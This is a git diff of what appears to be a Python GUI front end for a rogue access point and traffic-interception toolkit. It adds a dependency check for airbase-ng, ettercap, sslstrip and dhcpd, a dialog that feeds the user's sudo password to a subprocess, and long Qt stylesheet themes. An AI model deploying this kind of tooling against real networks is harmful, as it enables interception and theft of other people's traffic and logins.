sslstrip = popen("which sslstrip").read().split("\n") + xterm = popen("which xterm").read().split("\n") + dhcpd = popen("which dhcpd").read().split("\n") + lista = [dhcpd[0], "/usr/sbin/airbase-ng", ettercap[0], sslstrip[0],xterm[0]] + m = [] + for i in lista: + m.append(path.isfile(i)) + for a,b in enumerate(m): + if m[a] == False: + if a == 0: + print("{-} dhcpd --> [%sOFF%s]..."%(RED,ENDC)) + elif a == 1: + print("{-} airbase-ng --> [%sOFF%s]..."%(RED,ENDC)) + elif a == 2: + print("{-} ettercap --> [%sOFF%s]..."%(RED,ENDC)) + elif a == 3: + print("{-} sslstrip --> [%sOFF%s]..."%(RED,ENDC)) + elif a == 4: + print("{-} Xterm --> [%sOFF%s]..."%(RED,ENDC)) + if m[a] == True: + if a == 0: + print("{+} dhcpd --> [%sOk%s]..."%(GREEN,ENDC)) + elif a == 1: + print("{+} airbase-ng --> [%sOk%s]..."%(GREEN,ENDC)) + elif a == 2: + print("{+} ettercap --> [%sOk%s]..."%(GREEN,ENDC)) + elif a == 3: + print("{+} sslstrip --> [%sOk%s]..."%(GREEN,ENDC)) + elif a == 4: + print("{+} Xterm --> [%sOk%s]..."%(GREEN,ENDC)) + for k,g in enumerate(m): + if m[k] == False: + if k == 0: + dhcp_install() + for c in m: + if c == False: + exit(1) + break + print("{+} %sStarting GUI%s..."%(YELLOW,ENDC)) \ No newline at end of file diff --git a/Core/check_privilege.py b/Core/check_privilege.py new file mode 100644 index 0000000..b4d20ae --- /dev/null +++ b/Core/check_privilege.py @@ -0,0 +1,95 @@ +from PyQt4.QtGui import * +from subprocess import Popen, PIPE +from Core.Settings import frm_Settings +from os import popen,getpid +from re import search +import threading +import getpass +from time import sleep + +global sudo_prompt +sudo_prompt = None +class waiter(threading.Thread): + def run(self): + for i in range(2): + sleep(5) + if sudo_prompt == None: + #popen("kill -9 %i"%(getpid())) + pass + +class frm_privelege(QDialog): + def __init__(self, parent = None): + super(frm_privelege, self).__init__(parent) + self.setWindowTitle("Privilege Authentication") + self.Main = QVBoxLayout() + self.frm = QFormLayout() + self.setGeometry(0, 0, 270, 100) + self.center() + self.config = frm_Settings() + self.loadtheme(self.config.XmlThemeSelected()) + self.Qui() + + def loadtheme(self,theme): + if theme != "theme2": + sshFile=("Core/%s.css"%(theme)) + with open(sshFile,"r") as fh: + self.setStyleSheet(fh.read()) + else: + sshFile=("Core/%s.css"%(theme)) + with open(sshFile,"r") as fh: + self.setStyleSheet(fh.read()) + + def center(self): + frameGm = self.frameGeometry() + centerPoint = QDesktopWidget().availableGeometry().center() + frameGm.moveCenter(centerPoint) + self.move(frameGm.topLeft()) + + def Qui(self): + self.user = QComboBox() + self.user.addItem(getpass.getuser()) + self.btn_cancel = QPushButton("Cancel") + self.btn_ok = QPushButton("Ok") + self.Editpassword = QLineEdit(self) + self.Editpassword.setFocus() + #temporary + + self.Editpassword.setEchoMode(QLineEdit.Password) + self.btn_cancel.clicked.connect(self.close) + self.btn_ok.clicked.connect(self.function_ok) + self.btn_ok.setDefault(True) + self.frm.addRow("User:", self.user) + self.frm.addRow("Password:", self.Editpassword) + self.grid = QGridLayout() + self.grid.addWidget(self.btn_cancel, 1,2) + self.grid.addWidget(self.btn_ok, 1,3) + self.Main.addLayout(self.frm) + self.Main.addLayout(self.grid) + self.setLayout(self.Main) + + def function_ok(self): + out = self.password_check(self.Editpassword.text()) + if search("1 incorrect password attemp",out): + QMessageBox.information(self, "Sudo Password check", "[sudo] password for %s: Sorry, try again."%(getpass.getuser())) + self.show() + self.Editpassword.clear() + else: + self.close() + + def password_check(self,sudo_password): + self.hide() + self.th = threading.Thread(target=self.thread, args=(sudo_password,)) + self.th.daemon = True + self.th.start() + waiter().start() + self.th.join() + return sudo_prompt + + def thread(self,sudo_password): + popen("sudo -k") + sudo_password = self.Editpassword.text() + command = 'python functions.py'.split() + p = Popen(['sudo', '-S'] + command, stdin=PIPE, stderr=PIPE, + universal_newlines=True) + global sudo_prompt + sudo_prompt = p.communicate(str(sudo_password) + '\n')[1] diff --git a/Core/dark_style.css b/Core/dark_style.css new file mode 100644 index 0000000..68d2a81 --- /dev/null +++ b/Core/dark_style.css @@ -0,0 +1,461 @@ +QToolTip +{ + border: 1px solid black; + background-color: #ffa02f; + padding: 1px; + border-radius: 3px; + opacity: 100; +} + +QWidget +{ + color: #b1b1b1; + background-color: #323232; +} + +QWidget:item:hover +{ + background-color: QLinearGradient( x1: 0, y1: 0, x2: 0, y2: 1, stop: 0 #ffa02f, stop: 1 #ca0619); + color: #000000; +} + +QWidget:item:selected +{ + background-color: QLinearGradient( x1: 0, y1: 0, x2: 0, y2: 1, stop: 0 #ffa02f, stop: 1 #d7801a); +} + +QMenuBar::item +{ + background: transparent; +} + +QMenuBar::item:selected +{ + background: transparent; + border: 1px solid #ffaa00; +} + +QMenuBar::item:pressed +{ + background: #444; + border: 1px solid #000; + background-color: QLinearGradient( + x1:0, y1:0, + x2:0, y2:1, + stop:1 #212121, + stop:0.4 #343434/*, + stop:0.2 #343434, + stop:0.1 #ffaa00*/ + ); + margin-bottom:-1px; + padding-bottom:1px; +} + +QMenu +{ + border: 1px solid #000; +} + +QMenu::item +{ + padding: 2px 20px 2px 20px; +} + +QMenu::item:selected +{ + color: #000000; +} + +QWidget:disabled +{ + color: #404040; + background-color: #323232; +} + +QAbstractItemView +{ + background-color: QLinearGradient( x1: 1, y1: 5, x2: 0, y2: 2, stop: 0 #2F2D2D, stop: 0.1 #2F2D2D, stop: 1 #2F2D2D); + border: 2px solid QLinearGradient( x1: 0, y1: 0, x2: 0, y2: 1, stop: 0 #ffa02f, stop: 1 #d7801a); +} + +QWidget:focus +{ + /*border: 0px solid QLinearGradient( x1: 0, y1: 0, x2: 0, y2: 0, stop: 0 #ffa02f, stop: 0 #d7801a);*/ +} + +QLineEdit +{ + background-color: QLinearGradient( x1: 0, y1: 0, x2: 0, y2: 1, stop: 0 #4d4d4d, stop: 0 #646464, stop: 1 #5d5d5d); + padding: 1px; + border-style: solid; + border: 1px solid #1e1e1e; + border-radius: 5; +} + +QPushButton +{ + color: #b1b1b1; + background-color: QLinearGradient( x1: 0, y1: 0, x2: 0, y2: 1, stop: 0 #565656, stop: 0.1 #525252, stop: 0.5 #4e4e4e, stop: 0.9 #4a4a4a, stop: 1 #464646); + border-width: 1px; + border-color: #1e1e1e; + border-style: solid; + border-radius: 6; + padding: 3px; + font-size: 12px; + padding-left: 5px; + padding-right: 5px; +} + +QPushButton:pressed +{ + background-color: QLinearGradient( x1: 0, y1: 0, x2: 0, y2: 1, stop: 0 #2d2d2d, stop: 0.1 #2b2b2b, stop: 0.5 #292929, stop: 0.9 #282828, stop: 1 #252525); +} + +QComboBox +{ + selection-background-color: #ffaa00; + background-color: QLinearGradient( x1: 0, y1: 0, x2: 0, y2: 1, stop: 0 #565656, stop: 0.1 #525252, stop: 0.5 #4e4e4e, stop: 0.9 #4a4a4a, stop: 1 #464646); + border-style: solid; + border: 1px solid #1e1e1e; + border-radius: 2; + height: 20px; + width: 100px +} + +QComboBox:hover,QPushButton:hover +{ + border: 2px solid QLinearGradient( x1: 0, y1: 0, x2: 0, y2: 1, stop: 0 #ffa02f, stop: 1 #d7801a); +} + + +QComboBox:on +{ + padding-top: 1px; + padding-left: 1px; + background-color: QLinearGradient( x1: 0, y1: 0, x2: 0, y2: 1, stop: 0 #3D3D3D, stop: 0.1 #3D3D3D, stop: 0.5 #292929, stop: 0.9 #282828, stop: 1 #252525); + selection-background-color: #ffaa00; +} + +QComboBox QAbstractItemView +{ + /*border: 2px solid darkgray;*/ + selection-background-color: QLinearGradient( x1: 0, y1: 0, x2: 0, y2: 1, stop: 0 #ffa02f, stop: 1 #d7801a); +} + +QComboBox::drop-down +{ + subcontrol-origin: padding; + subcontrol-position: top right; + width: 15px; + border-left-width: 0px; + /*border-left-color: darkgray;*/ + border-left-style: solid; /* just a single line */ + border-top-right-radius: 3px; /* same radius as the QComboBox */ + border-bottom-right-radius: 3px; + } + +QComboBox::down-arrow +{ + image: url(rsc/down_arrow.png); +} + +QGroupBox:focus +{ +border: 2px solid QLinearGradient( x1: 0, y1: 0, x2: 0, y2: 1, stop: 0 #ffa02f, stop: 1 #d7801a); +} + +QTextEdit:focus +{ + border: 2px solid QLinearGradient( x1: 0, y1: 0, x2: 0, y2: 1, stop: 0 #ffa02f, stop: 1 #d7801a); +} + +QScrollBar:horizontal { + border: 1px solid #222222; + background: QLinearGradient( x1: 0, y1: 0, x2: 0, y2: 1, stop: 0.0 #121212, stop: 0.2 #282828, stop: 1 #484848); + height: 7px; + margin: 0px 16px 0 16px; +} + +QScrollBar::handle:horizontal +{ + background: QLinearGradient( x1: 0, y1: 0, x2: 1, y2: 0, stop: 0 #ffa02f, stop: 0.5 #d7801a, stop: 1 #ffa02f); + min-height: 20px; + border-radius: 2px; +} + +QScrollBar::add-line:horizontal { + border: 1px solid #1b1b19; + border-radius: 2px; + background: QLinearGradient( x1: 0, y1: 0, x2: 1, y2: 0, stop: 0 #ffa02f, stop: 1 #d7801a); + width: 14px; + subcontrol-position: right; + subcontrol-origin: margin; +} + +QScrollBar::sub-line:horizontal { + border: 1px solid #1b1b19; + border-radius: 2px; + background: QLinearGradient( x1: 0, y1: 0, x2: 1, y2: 0, stop: 0 #ffa02f, stop: 1 #d7801a); + width: 14px; + subcontrol-position: left; + subcontrol-origin: margin; +} + +QScrollBar::right-arrow:horizontal, QScrollBar::left-arrow:horizontal +{ + border: 1px solid black; + width: 1px; + height: 1px; + background: white; +} + +QScrollBar::add-page:horizontal, QScrollBar::sub-page:horizontal +{ + background: none; +} + +QScrollBar:vertical +{ + background: QLinearGradient( x1: 0, y1: 0, x2: 1, y2: 0, stop: 0.0 #121212, stop: 0.2 #282828, stop: 1 #484848); + width: 7px; + margin: 16px 0 16px 0; + border: 1px solid #222222; +} + +QScrollBar::handle:vertical +{ + background: QLinearGradient( x1: 0, y1: 0, x2: 0, y2: 1, stop: 0 #ffa02f, stop: 0.5 #d7801a, stop: 1 #ffa02f); + min-height: 20px; + border-radius: 2px; +} + +QScrollBar::add-line:vertical +{ + border: 1px solid #1b1b19; + border-radius: 2px; + background: QLinearGradient( x1: 0, y1: 0, x2: 0, y2: 1, stop: 0 #ffa02f, stop: 1 #d7801a); + height: 14px; + subcontrol-position: bottom; + subcontrol-origin: margin; +} + +QScrollBar::sub-line:vertical +{ + border: 1px solid #1b1b19; + border-radius: 2px; + background: QLinearGradient( x1: 0, y1: 0, x2: 0, y2: 1, stop: 0 #d7801a, stop: 1 #ffa02f); + height: 14px; + subcontrol-position: top; + subcontrol-origin: margin; +} + +QScrollBar::up-arrow:vertical, QScrollBar::down-arrow:vertical +{ + border: 1px solid black; + width: 1px; + height: 1px; + background: white; +} + + +QScrollBar::add-page:vertical, QScrollBar::sub-page:vertical +{ + background: none; +} + +QTextEdit +{ + background-color: #2F2D2D; +} + +QPlainTextEdit +{ + background-color: #2F2D2D; +} + +QHeaderView::section +{ + background-color: QLinearGradient(x1:0, y1:0, x2:0, y2:1, stop:0 #616161, stop: 0.5 #505050, stop: 0.6 #434343, stop:1 #656565); + color: white; + padding-left: 4px; + border: 1px solid #6c6c6c; +} + +QCheckBox:disabled +{ +color: #414141; +} + +QDockWidget::title +{ + text-align: center; + spacing: 3px; /* spacing between items in the tool bar */ + background-color: QLinearGradient(x1:0, y1:0, x2:0, y2:1, stop:0 #323232, stop: 0.5 #242424, stop:1 #323232); +} + +QDockWidget::close-button, QDockWidget::float-button +{ + text-align: center; + spacing: 1px; /* spacing between items in the tool bar */ + background-color: QLinearGradient(x1:0, y1:0, x2:0, y2:1, stop:0 #323232, stop: 0.5 #242424, stop:1 #323232); +} + +QDockWidget::close-button:hover, QDockWidget::float-button:hover +{ + background: #242424; +} + +QDockWidget::close-button:pressed, QDockWidget::float-button:pressed +{ + padding: 1px -1px -1px 1px; +} + +QMainWindow::separator +{ + background-color: QLinearGradient(x1:0, y1:0, x2:0, y2:1, stop:0 #161616, stop: 0.5 #151515, stop: 0.6 #212121, stop:1 #343434); + color: white; + padding-left: 4px; + border: 1px solid #4c4c4c; + spacing: 3px; /* spacing between items in the tool bar */ +} + +QMainWindow::separator:hover +{ + + background-color: QLinearGradient(x1:0, y1:0, x2:0, y2:1, stop:0 #d7801a, stop:0.5 #b56c17 stop:1 #ffa02f); + color: white; + padding-left: 4px; + border: 1px solid #6c6c6c; + spacing: 3px; /* spacing between items in the tool bar */ +} + +QToolBar::handle +{ + spacing: 3px; /* spacing between items in the tool bar */ + background: url(:/images/handle.png); +} + +QMenu::separator +{ + height: 2px; + background-color: QLinearGradient(x1:0, y1:0, x2:0, y2:1, stop:0 #161616, stop: 0.5 #151515, stop: 0.6 #212121, stop:1 #343434); + color: white; + padding-left: 4px; + margin-left: 10px; + margin-right: 5px; +} + +QProgressBar +{ + border: 2px solid grey; + border-radius: 5px; + text-align: center; +} + +QProgressBar::chunk +{ + background-color: #d7801a; + width: 2.15px; + margin: 0.5px; +} + +QTabBar::tab { + color: #b1b1b1; + border: 1px solid #444; + border-bottom-style: none; + background-color: #323232; + padding-left: 10px; + padding-right: 10px; + padding-top: 3px; + padding-bottom: 2px; + margin-right: -1px; +} + +QTabWidget::pane { + border: 1px solid #444; + top: 1px; +} + +QTabBar::tab:last +{ + margin-right: 0; /* the last selected tab has nothing to overlap with on the right */ + border-top-right-radius: 3px; +} + +QTabBar::tab:first:!selected +{ + margin-left: 0px; /* the last selected tab has nothing to overlap with on the right */ + + + border-top-left-radius: 3px; +} + +QTabBar::tab:!selected +{ + color: #b1b1b1; + border-bottom-style: solid; + margin-top: 3px; + background-color: QLinearGradient(x1:0, y1:0, x2:0, y2:1, stop:1 #212121, stop:.4 #343434); +} + +QTabBar::tab:selected +{ + border-top-left-radius: 3px; + border-top-right-radius: 3px; + margin-bottom: 0px; +} + +QTabBar::tab:!selected:hover +{ + /*border-top: 2px solid #ffaa00; + padding-bottom: 3px;*/ + border-top-left-radius: 3px; + border-top-right-radius: 3px; + background-color: QLinearGradient(x1:0, y1:0, x2:0, y2:1, stop:1 #212121, stop:0.4 #343434, stop:0.2 #343434, stop:0.1 #ffaa00); +} + +QRadioButton::indicator:checked, QRadioButton::indicator:unchecked{ + color: #b1b1b1; + background-color: #323232; + border: 1px solid #b1b1b1; + border-radius: 6px; +} + +QRadioButton::indicator:checked +{ + background-color: qradialgradient( + cx: 0.5, cy: 0.5, + fx: 0.5, fy: 0.5, + radius: 1.0, + stop: 0.25 #ffaa00, + stop: 0.3 #323232 + ); +} + +QCheckBox::indicator{ + color: #b1b1b1; + background-color: #323232; + border: 1px solid #b1b1b1; + width: 13px; + height: 13px; +} + +QRadioButton::indicator +{ + border-radius: 6px; +} + +QRadioButton::indicator:hover, QCheckBox::indicator:hover +{ + border: 1px solid #ffaa00; +} + +QCheckBox::indicator:checked +{ + image:url(rsc/check.png); +} + +QCheckBox::indicator:disabled, QRadioButton::indicator:disabled +{ + border: 1px solid #444; +} \ No newline at end of file diff --git a/Core/theme1.css b/Core/theme1.css new file mode 100644 index 0000000..68d2a81 --- /dev/null +++ b/Core/theme1.css @@ -0,0 +1,461 @@ +QToolTip +{ + border: 1px solid black; + background-color: #ffa02f; + padding: 1px; + border-radius: 3px; + opacity: 100; +} + +QWidget +{ + color: #b1b1b1; + background-color: #323232; +} + +QWidget:item:hover +{ + background-color: QLinearGradient( x1: 0, y1: 0, x2: 0, y2: 1, stop: 0 #ffa02f, stop: 1 #ca0619); + color: #000000; +} + +QWidget:item:selected +{ + background-color: QLinearGradient( x1: 0, y1: 0, x2: 0, y2: 1, stop: 0 #ffa02f, stop: 1 #d7801a); +} + +QMenuBar::item +{ + background: transparent; +} + +QMenuBar::item:selected +{ + background: transparent; + border: 1px solid #ffaa00; +} + +QMenuBar::item:pressed +{ + background: #444; + border: 1px solid #000; + background-color: QLinearGradient( + x1:0, y1:0, + x2:0, y2:1, + stop:1 #212121, + stop:0.4 #343434/*, + stop:0.2 #343434, + stop:0.1 #ffaa00*/ + ); + margin-bottom:-1px; + padding-bottom:1px; +} + +QMenu +{ + border: 1px solid #000; +} + +QMenu::item +{ + padding: 2px 20px 2px 20px; +} + +QMenu::item:selected +{ + color: #000000; +} + +QWidget:disabled +{ + color: #404040; + background-color: #323232; +} + +QAbstractItemView +{ + background-color: QLinearGradient( x1: 1, y1: 5, x2: 0, y2: 2, stop: 0 #2F2D2D, stop: 0.1 #2F2D2D, stop: 1 #2F2D2D); + border: 2px solid QLinearGradient( x1: 0, y1: 0, x2: 0, y2: 1, stop: 0 #ffa02f, stop: 1 #d7801a); +} + +QWidget:focus +{ + /*border: 0px solid QLinearGradient( x1: 0, y1: 0, x2: 0, y2: 0, stop: 0 #ffa02f, stop: 0 #d7801a);*/ +} + +QLineEdit +{ + background-color: QLinearGradient( x1: 0, y1: 0, x2: 0, y2: 1, stop: 0 #4d4d4d, stop: 0 #646464, stop: 1 #5d5d5d); + padding: 1px; + border-style: solid; + border: 1px solid #1e1e1e; + border-radius: 5; +} + +QPushButton +{ + color: #b1b1b1; + background-color: QLinearGradient( x1: 0, y1: 0, x2: 0, y2: 1, stop: 0 #565656, stop: 0.1 #525252, stop: 0.5 #4e4e4e, stop: 0.9 #4a4a4a, stop: 1 #464646); + border-width: 1px; + border-color: #1e1e1e; + border-style: solid; + border-radius: 6; + padding: 3px; + font-size: 12px; + padding-left: 5px; + padding-right: 5px; +} + +QPushButton:pressed +{ + background-color: QLinearGradient( x1: 0, y1: 0, x2: 0, y2: 1, stop: 0 #2d2d2d, stop: 0.1 #2b2b2b, stop: 0.5 #292929, stop: 0.9 #282828, stop: 1 #252525); +} + +QComboBox +{ + selection-background-color: #ffaa00; + background-color: QLinearGradient( x1: 0, y1: 0, x2: 0, y2: 1, stop: 0 #565656, stop: 0.1 #525252, stop: 0.5 #4e4e4e, stop: 0.9 #4a4a4a, stop: 1 #464646); + border-style: solid; + border: 1px solid #1e1e1e; + border-radius: 2; + height: 20px; + width: 100px +} + +QComboBox:hover,QPushButton:hover +{ + border: 2px solid QLinearGradient( x1: 0, y1: 0, x2: 0, y2: 1, stop: 0 #ffa02f, stop: 1 #d7801a); +} + + +QComboBox:on +{ + padding-top: 1px; + padding-left: 1px; + background-color: QLinearGradient( x1: 0, y1: 0, x2: 0, y2: 1, stop: 0 #3D3D3D, stop: 0.1 #3D3D3D, stop: 0.5 #292929, stop: 0.9 #282828, stop: 1 #252525); + selection-background-color: #ffaa00; +} + +QComboBox QAbstractItemView +{ + /*border: 2px solid darkgray;*/ + selection-background-color: QLinearGradient( x1: 0, y1: 0, x2: 0, y2: 1, stop: 0 #ffa02f, stop: 1 #d7801a); +} + +QComboBox::drop-down +{ + subcontrol-origin: padding; + subcontrol-position: top right; + width: 15px; + border-left-width: 0px; + /*border-left-color: darkgray;*/ + border-left-style: solid; /* just a single line */ + border-top-right-radius: 3px; /* same radius as the QComboBox */ + border-bottom-right-radius: 3px; + } + +QComboBox::down-arrow +{ + image: url(rsc/down_arrow.png); +} + +QGroupBox:focus +{ +border: 2px solid QLinearGradient( x1: 0, y1: 0, x2: 0, y2: 1, stop: 0 #ffa02f, stop: 1 #d7801a); +} + +QTextEdit:focus +{ + border: 2px solid QLinearGradient( x1: 0, y1: 0, x2: 0, y2: 1, stop: 0 #ffa02f, stop: 1 #d7801a); +} + +QScrollBar:horizontal { + border: 1px solid #222222; + background: QLinearGradient( x1: 0, y1: 0, x2: 0, y2: 1, stop: 0.0 #121212, stop: 0.2 #282828, stop: 1 #484848); + height: 7px; + margin: 0px 16px 0 16px; +} + +QScrollBar::handle:horizontal +{ + background: QLinearGradient( x1: 0, y1: 0, x2: 1, y2: 0, stop: 0 #ffa02f, stop: 0.5 #d7801a, stop: 1 #ffa02f); + min-height: 20px; + border-radius: 2px; +} + +QScrollBar::add-line:horizontal { + border: 1px solid #1b1b19; + border-radius: 2px; + background: QLinearGradient( x1: 0, y1: 0, x2: 1, y2: 0, stop: 0 #ffa02f, stop: 1 #d7801a); + width: 14px; + subcontrol-position: right; + subcontrol-origin: margin; +} + +QScrollBar::sub-line:horizontal { + border: 1px solid #1b1b19; + border-radius: 2px; + background: QLinearGradient( x1: 0, y1: 0, x2: 1, y2: 0, stop: 0 #ffa02f, stop: 1 #d7801a); + width: 14px; + subcontrol-position: left; + subcontrol-origin: margin; +} + +QScrollBar::right-arrow:horizontal, QScrollBar::left-arrow:horizontal +{ + border: 1px solid black; + width: 1px; + height: 1px; + background: white; +} + +QScrollBar::add-page:horizontal, QScrollBar::sub-page:horizontal +{ + background: none; +} + +QScrollBar:vertical +{ + background: QLinearGradient( x1: 0, y1: 0, x2: 1, y2: 0, stop: 0.0 #121212, stop: 0.2 #282828, stop: 1 #484848); + width: 7px; + margin: 16px 0 16px 0; + border: 1px solid #222222; +} + +QScrollBar::handle:vertical +{ + background: QLinearGradient( x1: 0, y1: 0, x2: 0, y2: 1, stop: 0 #ffa02f, stop: 0.5 #d7801a, stop: 1 #ffa02f); + min-height: 20px; + border-radius: 2px; +} + +QScrollBar::add-line:vertical +{ + border: 1px solid #1b1b19; + border-radius: 2px; + background: QLinearGradient( x1: 0, y1: 0, x2: 0, y2: 1, stop: 0 #ffa02f, stop: 1 #d7801a); + height: 14px; + subcontrol-position: bottom; + subcontrol-origin: margin; +} + +QScrollBar::sub-line:vertical +{ + border: 1px solid #1b1b19; + border-radius: 2px; + background: QLinearGradient( x1: 0, y1: 0, x2: 0, y2: 1, stop: 0 #d7801a, stop: 1 #ffa02f); + height: 14px; + subcontrol-position: top; + subcontrol-origin: margin; +} + +QScrollBar::up-arrow:vertical, QScrollBar::down-arrow:vertical +{ + border: 1px solid black; + width: 1px; + height: 1px; + background: white; +} + + +QScrollBar::add-page:vertical, QScrollBar::sub-page:vertical +{ + background: none; +} + +QTextEdit +{ + background-color: #2F2D2D; +} + +QPlainTextEdit +{ + background-color: #2F2D2D; +} + +QHeaderView::section +{ + background-color: QLinearGradient(x1:0, y1:0, x2:0, y2:1, stop:0 #616161, stop: 0.5 #505050, stop: 0.6 #434343, stop:1 #656565); + color: white; + padding-left: 4px; + border: 1px solid #6c6c6c; +} + +QCheckBox:disabled +{ +color: #414141; +} + +QDockWidget::title +{ + text-align: center; + spacing: 3px; /* spacing between items in the tool bar */ + background-color: QLinearGradient(x1:0, y1:0, x2:0, y2:1, stop:0 #323232, stop: 0.5 #242424, stop:1 #323232); +} + +QDockWidget::close-button, QDockWidget::float-button +{ + text-align: center; + spacing: 1px; /* spacing between items in the tool bar */ + background-color: QLinearGradient(x1:0, y1:0, x2:0, y2:1, stop:0 #323232, stop: 0.5 #242424, stop:1 #323232); +} + +QDockWidget::close-button:hover, QDockWidget::float-button:hover +{ + background: #242424; +} + +QDockWidget::close-button:pressed, QDockWidget::float-button:pressed +{ + padding: 1px -1px -1px 1px; +} + +QMainWindow::separator +{ + background-color: QLinearGradient(x1:0, y1:0, x2:0, y2:1, stop:0 #161616, stop: 0.5 #151515, stop: 0.6 #212121, stop:1 #343434); + color: white; + padding-left: 4px; + border: 1px solid #4c4c4c; + spacing: 3px; /* spacing between items in the tool bar */ +} + +QMainWindow::separator:hover +{ + + background-color: QLinearGradient(x1:0, y1:0, x2:0, y2:1, stop:0 #d7801a, stop:0.5 #b56c17 stop:1 #ffa02f); + color: white; + padding-left: 4px; + border: 1px solid #6c6c6c; + spacing: 3px; /* spacing between items in the tool bar */ +} + +QToolBar::handle +{ + spacing: 3px; /* spacing between items in the tool bar */ + background: url(:/images/handle.png); +} + +QMenu::separator +{ + height: 2px; + background-color: QLinearGradient(x1:0, y1:0, x2:0, y2:1, stop:0 #161616, stop: 0.5 #151515, stop: 0.6 #212121, stop:1 #343434); + color: white; + padding-left: 4px; + margin-left: 10px; + margin-right: 5px; +} + +QProgressBar +{ + border: 2px solid grey; + border-radius: 5px; + text-align: center; +} + +QProgressBar::chunk +{ + background-color: #d7801a; + width: 2.15px; + margin: 0.5px; +} + +QTabBar::tab { + color: #b1b1b1; + border: 1px solid #444; + border-bottom-style: none; + background-color: #323232; + padding-left: 10px; + padding-right: 10px; + padding-top: 3px; + padding-bottom: 2px; + margin-right: -1px; +} + +QTabWidget::pane { + border: 1px solid #444; + top: 1px; +} + +QTabBar::tab:last +{ + margin-right: 0; /* the last selected tab has nothing to overlap with on the right */ + border-top-right-radius: 3px; +} + +QTabBar::tab:first:!selected +{ + margin-left: 0px; /* the last selected tab has nothing to overlap with on the right */ + + + border-top-left-radius: 3px; +} + +QTabBar::tab:!selected +{ + color: #b1b1b1; + border-bottom-style: solid; + margin-top: 3px; + background-color: QLinearGradient(x1:0, y1:0, x2:0, y2:1, stop:1 #212121, stop:.4 #343434); +} + +QTabBar::tab:selected +{ + border-top-left-radius: 3px; + border-top-right-radius: 3px; + margin-bottom: 0px; +} + +QTabBar::tab:!selected:hover +{ + /*border-top: 2px solid #ffaa00; + padding-bottom: 3px;*/ + border-top-left-radius: 3px; + border-top-right-radius: 3px; + background-color: QLinearGradient(x1:0, y1:0, x2:0, y2:1, stop:1 #212121, stop:0.4 #343434, stop:0.2 #343434, stop:0.1 #ffaa00); +} + +QRadioButton::indicator:checked, QRadioButton::indicator:unchecked{ + color: #b1b1b1; + background-color: #323232; + border: 1px solid #b1b1b1; + border-radius: 6px; +} + +QRadioButton::indicator:checked +{ + background-color: qradialgradient( + cx: 0.5, cy: 0.5, + fx: 0.5, fy: 0.5, + radius: 1.0, + stop: 0.25 #ffaa00, + stop: 0.3 #323232 + ); +} + +QCheckBox::indicator{ + color: #b1b1b1; + background-color: #323232; + border: 1px solid #b1b1b1; + width: 13px; + height: 13px; +} + +QRadioButton::indicator +{ + border-radius: 6px; +} + +QRadioButton::indicator:hover, QCheckBox::indicator:hover +{ + border: 1px solid #ffaa00; +} + +QCheckBox::indicator:checked +{ + image:url(rsc/check.png); +} + +QCheckBox::indicator:disabled, QRadioButton::indicator:disabled +{ + border: 1px solid #444; +} \ No newline at end of file diff --git a/Core/theme2.css b/Core/theme2.css new file mode 100644 index 0000000..298f45c --- /dev/null +++ b/Core/theme2.css @@ -0,0 +1,1069 @@ +/* + * The MIT License (MIT) + * + * Copyright (c) <2013-2014> + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ + +QProgressBar:horizontal { + border: 1px solid #3A3939; + text-align: center; + padding: 1px; + background: #201F1F; +} +QProgressBar::chunk:horizontal { + background-color: qlineargradient(spread:reflect, x1:1, y1:0.545, x2:1, y2:0, stop:0 rgba(28, 66, 111, 255), stop:1 rgba(37, 87, 146, 255)); +} + +QToolTip +{ + border: 1px solid #3A3939; + background-color: rgb(90, 102, 117);; + color: white; + padding: 1px; + opacity: 200; +} + +QWidget +{ + color: silver; + background-color: #302F2F; + selection-background-color:#3d8ec9; + selection-color: black; + background-clip: border; + border-image: none; + outline: 0; +} + +QWidget:item:hover +{ + background-color: #78879b; + color: black; +} + +QWidget:item:selected +{ + background-color: #3d8ec9; +} + +QMenuBar +{ + background-color: #302F2F; + color: silver; +} + +QMenuBar::item +{ + background: transparent; +} + +QMenuBar::item:selected +{ + background: transparent; + border: 1px solid #3A3939; +} + +QMenuBar::item:pressed +{ + border: 1px solid #3A3939; + background-color: #3d8ec9; + color: black; + margin-bottom:-1px; + padding-bottom:1px; +} + +QMenu +{ + border: 1px solid #3A3939; + color: silver; + margin: 2px; +} + +QMenu::icon +{ + margin: 5px; +} + +QMenu::item +{ + padding: 5px 30px 5px 30px; + margin-left: 5px; + border: 1px solid transparent; /* reserve space for selection border */ +} + +QMenu::item:selected +{ + color: black; +} + +QWidget:disabled +{ + color: #404040; + background-color: #302F2F; +} + +QAbstractItemView +{ + alternate-background-color: #3A3939; + color: silver; + border: 1px solid 3A3939; + border-radius: 2px; + padding: 1px; +} + +QWidget:focus, QMenuBar:focus +{ + border: 1px solid #78879b; +} + +QTabWidget:focus, QCheckBox:focus, QRadioButton:focus +{ + border: none; +} + +QLineEdit +{ + background-color: #201F1F; + padding: 2px; + border-style: solid; + border: 1px solid #3A3939; + border-radius: 2px; + color: silver; +} + +QGroupBox { + border:1px solid #3A3939; + border-radius: 2px; + margin-top: 20px; +} + +QGroupBox::title { + subcontrol-origin: margin; + subcontrol-position: top center; + padding-left: 10px; + padding-right: 10px; + padding-top: 10px; +} + +QAbstractScrollArea +{ + border-radius: 2px; + border: 1px solid #3A3939; + background-color: transparent; +} + +QScrollBar:horizontal +{ + height: 15px; + margin: 3px 15px 3px 15px; + border: 1px transparent #2A2929; + border-radius: 4px; + background-color: #2A2929; +} + +QScrollBar::handle:horizontal +{ + background-color: #605F5F; + min-width: 5px; + border-radius: 4px; +} + +QScrollBar::add-line:horizontal +{ + margin: 0px 3px 0px 3px; + border-image: 